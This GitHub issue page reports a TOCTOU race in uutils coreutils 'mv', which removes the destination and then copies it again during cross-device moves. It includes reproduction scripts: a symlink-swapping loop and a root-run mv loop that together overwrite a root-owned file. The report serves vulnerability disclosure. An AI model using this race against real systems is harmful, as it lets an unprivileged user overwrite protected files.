Skip to content

mv copy TOCTOU Race #10015

@sylvestre

Description

@sylvestre

Component

mv

Description

uutils mv has a race window between destination removal and re-creation during cross-device moves.

  • GNU: copy(src -> dest) (open/truncate) -> remove(src) — no separate unlink of dest
  • uutils: remove(dest) -> copy(src -> dest) -> remove(src)

Test / Reproduction Steps

Test with directories from two different file systems (varies depending on the specific environment; /tmp and /home are used here as examples).:

# source file, which will be "mv"
echo "PAYLOAD_FROM_SRC" > /tmp/src_file
# pseudo-sensitive files, only root can read/write
mkdir -p /home/$USER/secure
echo "ORIGINAL_SECRET" > /home/$USER/secure/victim
chmod 600 /home/$USER/secure/victim
sudo chown root:root /home/$USER/secure/victim
# target file to "mv" to
echo "PLACEHOLDER" > /home/$USER/target

user script(symlink.sh):

#!/bin/bash

while true; do
  ln -sf /home/$USER/secure/victim /home/$USER/target
done

root script(mv.sh):

#!/bin/bash

while true; do
  echo "PAYLOAD_FROM_SRC" > /tmp/src_file
  ./target/release/coreutils mv /tmp/src_file /home/$USER/target 2>/dev/null
done

reproduce:

chmod +x symlink.sh
chmod +x mv.sh
./symlink.sh
sudo ./mv.sh

After a while....

$ sudo cat /home/$USER/secure/victim
PAYLOAD_FROM_SRC

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions